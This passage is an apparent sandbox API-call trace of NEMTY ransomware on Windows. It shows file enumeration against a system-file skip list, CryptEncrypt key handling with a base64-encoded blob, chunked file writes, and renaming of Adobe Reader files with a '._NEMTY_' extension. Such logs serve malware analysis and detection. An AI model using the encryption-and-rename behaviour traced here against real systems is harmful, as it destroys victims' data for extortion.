CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Host", lpUsedDefaultChar=0x0) returned 16 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Host", lpUsedDefaultChar=0x0) returned 16 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.407] Sleep (dwMilliseconds=0x5) [0199.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a818d50, dwHighDateTime=0x1d561e8)) [0199.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a818d50, dwHighDateTime=0x1d561e8)) [0199.413] GetLastError () returned 0x5 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.413] GetLastError () returned 0x5 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0199.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.413] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0199.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="zGCLxYdAdPWqOH99FlEOJCuxvsujjPshMCifAsLNkX0WqdZD32X1d5Y3x4slsGQe\r\nIYVYLgYptLZCFzvnVDtOjJU23UTvl5I/30sngVgwX7xCtdKtR/Gji7s+D7rICsnZ\r\nFhfWzRbNgMuwpNeZwBfytYB5fl8ZS+N+wE1WD7jpwgNXF/9NpFyuVHoMlTHWe4vu\r\nrFy+RFrsJGIxt56lpZaNthF93oQNsTUVBxSgikSCtRPVDNPd+Lr8+keSVZUhhqA5\r\njsQaEByX57FeqNneULtPi5/2xMBpjnH+HsBKPTpkPMq5FCSvmM8IYTYQO7bumpPx\r\nNGsW37S9l/XtdFt5h9vtIg==\r\n", pcchString=0x653e91c) returned 1 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0199.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0199.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.414] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.528] CloseHandle (hObject=0xffffffff) returned 0 [0199.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0199.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0199.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0199.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0199.529] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host._nemty_kgobjgd_")) returned 0 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.529] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="ADAB0B~1")) returned 1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2=".") returned 1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="..") returned 1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="...") returned 1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="windows") returned -1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="$RECYCLE.BIN") returned 1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="rsa") returned -1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="NTDETECT.COM") returned -1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="ntldr") returned -1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="MSDOS.SYS") returned -1 [0199.529] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="IO.SYS") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="boot.ini") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="boot.ini") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="AUTOEXEC.BAT") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="ntuser.dat") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="desktop.ini") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="CONFIG.SYS") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="RECYCLER") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="BOOTSECT.BAK") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="bootmgr") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="programdata") returned -1 [0199.530] lstrcmpiW (lpString1="Adobe-GB1-H-Mac", lpString2="appdata") returned -1 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Mac", lpUsedDefaultChar=0x0) returned 15 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Mac", lpUsedDefaultChar=0x0) returned 15 [0199.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Mac", lpUsedDefaultChar=0x0) returned 15 [0199.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Mac", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Mac", lpUsedDefaultChar=0x0) returned 15 [0199.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.530] Sleep (dwMilliseconds=0x5) [0199.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a949850, dwHighDateTime=0x1d561e8)) [0199.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a949850, dwHighDateTime=0x1d561e8)) [0199.537] GetLastError () returned 0x5 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.538] GetLastError () returned 0x5 [0199.538] 